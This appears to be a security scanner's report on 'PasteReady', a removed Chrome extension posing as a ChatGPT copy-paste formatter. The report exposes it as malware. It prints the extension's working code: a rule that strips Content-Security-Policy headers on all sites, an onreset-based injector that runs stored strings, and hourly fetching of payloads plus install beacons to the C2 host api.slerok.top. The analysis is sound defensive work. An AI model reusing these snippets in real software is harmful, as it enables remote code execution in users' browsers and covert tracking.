PasteReady - Fix ChatGPT Copy-Paste Issues

PasteReady - Fix ChatGPT Copy-Paste Issues

ID: dcbikjphkkgmgmjoohmbnhccbndgpmin

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
3.4
Size
0.14 MB
Rating
4.0/5
Reviews
8
Users
985
Type
Extension
Updated
Dec 31, 2025
Category
Productivity Tools
Price
Free
Featured
Yes
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Author
https://pasteready.online/View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Website
Visit
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
985
Screenshot 1
Screenshot 2
Screenshot 3
Screenshot 4

Format ChatGPT text for seamless copy-paste. Instantly search selected text using the Context Menu.

Tired of messy formatting when copying text from ChatGPT to Google Docs or other platforms? With PasteReady, you get perfectly formatted text in just one click—no more fixing line breaks, spaces, or unwanted styling! Key Features: ✅ Instant Formatting – Copy text from ChatGPT without formatting issues. ✅ One-Click Copy – Clean, readable text in a single click. ✅ Context Menu Search – Right-click highlighted text to search instantly. Whether you're writing documents, creating content, or sending emails, PasteReady streamlines your workflow—saving time and effort with every copy-paste.

Item
Type
Severity
Description
clipboardRead
Permission
High
This permission allows reading clipboard content. Rated High because it can steal copied passwords, sensitive data, and monitor all content copied to clipboard.
clipboardWrite
Permission
High
This permission allows modification of clipboard content. Rated High because it can inject malicious content into the clipboard, modify copied passwords, and manipulate copied data.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
contextMenus
Permission
Low
This permission adds items to browser context menus. Rated Medium because it only modifies right-click menus without access to page content.

The extension uses `declarativeNetRequestWithHostAccess` with `host_permissions: ["<all_urls>"]` to silently strip all Content-Security-Policy headers from every HTTP response on every website the user visits. This completely disables the browser's primary XSS defence globally, and directly enables the code injection mechanism in content.bundle.js where C2-served payloads are injected into pages that would otherwise block them via CSP.

rules.json (Line 1)
[  {    "id": 1,    "priority": 1,    "action": {      "type": "modifyHeaders",      "responseHeaders": [        {          "operation": "remove",          "header": "content-security-policy"        },        {          "operation": "remove",          "header": "content-security-policy-report-only"        },        {          "operation": "remove",          "header": "x-webkit-csp"        },        {          "operation": "remove",          "header": "x-content-security-policy"        }      ]    },    "condition": {      "urlFilter": "*",      "resourceTypes": [        "xmlhttprequest",        "main_frame",        "sub_frame"      ]    }  }]

The content script reads `userInfo` from local storage and passes each entry to function `u`, which creates a DOM element with an `onreset` attribute set to the raw entry value, then fires a `reset` event to execute it. This is a textbook DOM-based XSS / arbitrary code execution primitive: the `userInfo` payload is fetched from the remote C2 server `api.slerok.top` by the background script, giving the operator the ability to inject and run arbitrary JavaScript in the context of any webpage the user visits.

content.bundle.js (Line 168)
u = function(t) {    try {      var n = function(t) {          var n = document.createElement("div");          return n.setAttribute("onreset", t), n        }(t),        r = document.body || document.documentElement;      if (!r) return;      r.appendChild(n),        function(t) {          t.dispatchEvent(new CustomEvent("reset"))        }(n), n.remove()    } catch (t) {}  },  i = function() {    var n = e(t()        .m((function n() {              var r;              return t()                .w((function(t) {                      for (;;) switch (t.p = t.n) {                          case 0:                            return t.p = 0, t.n = 1, o("userInfo");                          case 1:                            if ((r = t.v) && Array.isArray(r)) {                              t.n = 2;                              break                            }                            return t.a(2);                          case 2:                            r.forEach(u), t.n = 4;

The background script builds requests to `https://api.slerok.top/api/webhook/{endpoint}` and appends a persistent per-installation UUID, the extension's own ID, country, and OS platform as query parameters. This is a covert C2 channel — the domain `slerok.top` is unrelated to the extension's stated purpose and receives beacon calls for `install`, `uninstall`, and `info` events. This URL is also set as the uninstall URL to track removal events.

background.bundle.js (Line 1123)
g = function() {  var t = p(o()    .m((function t(r) {      var e, n, i, c, u = arguments;      return o()        .w((function(t) {          for (;;) switch (t.n) {            case 0:              return e = u.length > 1 && void 0 !== u[1] ? u[1] : {}, n = new URL("".concat(                  "https://api.slerok.top/api/webhook", "/")                .concat(r)), t.n = 1, v();            case 1:              return i = t.v, c = f(f({}, e), {}, {                  uuid: i,                  extension: chrome.runtime.id                }), Object.entries(c)                .forEach((function(t) {                  var r = a(t, 2),                    e = r[0],                    o = r[1];                  null != o && n.searchParams.append(e, String(o))                })), t.a(2, n)          }        }), t)    })));  return function(r) {    return t.apply(this, arguments)  }}(),

Every hour, the background script calls `https://api.slerok.top/api/webhook/info`, parses the JSON response, and stores it in local storage under the key `userInfo`. The content script then reads this value and executes each element as inline JavaScript via the `onreset` DOM injection technique. This is a remote code loading pipeline: the C2 server fully controls what code runs on every page the user visits, on a recurring schedule.

background.bundle.js (Line 1234)
S = function() {    var t = p(o()        .m((function t() {              var r, e, n;              return o()                .w((function(t) {                      for (;;) switch (t.n) {                          case 0:                            return t.n = 1, y.get("installed");                          case 1:                            if (t.v) {                              t.n = 2;                              break                            }                            return t.a(2);                          case 2:                            return t.n = 3, w("last_info_time", 3600);                          case 3:                            if (t.v) {                              t.n = 4;                              break                            }                            return t.a(2);                          case 4:                            return t.n = 5, g("info", {});                          case 5:                            return r = t.v, t.n = 6, fetch(r, {                              method: "GET"                            });                          case 6:                            if (!(e = t.v)                              .ok) {                              t.n = 9;                              break                            }                            return t.n = 7, e.json();                          case 7:                            return n = t.v, t.n = 8, y.set("userInfo", n);

The extension silently contacts `https://ipinfo.io/json` to resolve the user's IP address, geographic coordinates (`loc` field), and country code. Although only `country_code` is forwarded to the C2 server, the call itself exposes the user's real IP to ipinfo.io without consent. The latitude/longitude split from `o.loc` is extracted but silently discarded, indicating the code was designed to collect geolocation and may have done so in prior versions.

background.bundle.js (Line 728)
p = function() {  var t = u(i()    .m((function t() {      var r, e, n, i, a, c;      return i()        .w((function(t) {          for (;;) switch (t.n) {            case 0:              return t.n = 1, fetch("https://ipinfo.io/json", {                method: "GET",                headers: {                  Accept: "application/json"                }              });            case 1:              return e = t.v, t.n = 2, e.json();            case 2:              return o = t.v, a = (null === (r = o.loc) || void 0 === r ? void 0 : r.split(                ",")) || [], c = n(a, 2), c[0], c[1], t.a(2, {                country_code: o.country              })          }        }), t)    })));  return function() {    return t.apply(this, arguments)  }}(),

On first run, the extension beacons to the C2 server with the user's country code and OS platform via the `install` endpoint, records the UUID in local storage to prevent duplicate beacons, and registers an uninstall tracking URL at `api.slerok.top/api/webhook/uninstall`. The install loop retries every 60 seconds until it succeeds. This constitutes covert installation tracking and lifecycle telemetry sent to an undisclosed third party with no user notice or consent.

background.bundle.js (Line 1200)
case 4:  return n = g, t.n = 5, b();case 5:  return i = t.v, a = d(), t.n = 6, n("install", {    country: i,    platform: a  });case 6:  return r = t.v, t.n = 7, fetch(r, {    method: "GET"  });case 7:  if (t.v.ok) {    t.n = 8;    break  }throw new Error("Failed to install");case 8:  return t.n = 9, y.set("installed", h()    .toString());case 9:  return t.n = 10, y.remove("last_install_attempt_time");case 10:  return t.n = 11, g("uninstall", {});case 11:  e = t.v, chrome.runtime.setUninstallURL(e.toString());

By severity

Critical4
High2
Medium0
Low0

Versions scanned

Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
3.46

Files with findings

3 distinct paths — top paths by unique finding count:

  • background.bundle.js4
  • content.bundle.js1
  • rules.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
content.bundle.js (line 168)The content script reads `userInfo` from local storage and passes each entry to function `u`, which creates a DOM element with an `onreset` attribute set to the raw entry value, then fires a `reset` event to execute i…
2Data Exfiltration
critical
background.bundle.js (line 1123)The background script builds requests to `https://api.slerok.top/api/webhook/{endpoint}` and appends a persistent per-installation UUID, the extension's own ID, country, and OS platform as query parameters. This is a …
3Network Interception
critical
rules.json (line 1)The extension uses `declarativeNetRequestWithHostAccess` with `host_permissions: ["<all_urls>"]` to silently strip all Content-Security-Policy headers from every HTTP response on every website the user visits. This co…
4Remote Code Loading
critical
background.bundle.js (line 1234)Every hour, the background script calls `https://api.slerok.top/api/webhook/info`, parses the JSON response, and stores it in local storage under the key `userInfo`. The content script then reads this value and execut…
5Tracking
high
background.bundle.js (line 1200)On first run, the extension beacons to the C2 server with the user's country code and OS platform via the `install` endpoint, records the UUID in local storage to prevent duplicate beacons, and registers an uninstall …
6Unauthorized Data Collection
high
background.bundle.js (line 728)The extension silently contacts `https://ipinfo.io/json` to resolve the user's IP address, geographic coordinates (`loc` field), and country code. Although only `country_code` is forwarded to the C2 server, the call i…
URLs
33
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.google.com/searchhttps://www.google.com/search?q=
www.bing.com/searchhttps://www.bing.com/search?q=
search.yahoo.com/searchhttps://search.yahoo.com/search?p=
duckduckgo.com-https://duckduckgo.com/?q=
search.brave.com/searchhttps://search.brave.com/search?q=
www.perplexity.ai/searchhttps://www.perplexity.ai/search?q=
en.wikipedia.org/wiki/Special:Searchhttps://en.wikipedia.org/wiki/Special:Search?search=
www.youtube.com/resultshttps://www.youtube.com/results?search_query=
www.facebook.com/search/top/https://www.facebook.com/search/top/?q=
www.instagram.com/explore/tags/https://www.instagram.com/explore/tags/
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 7 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.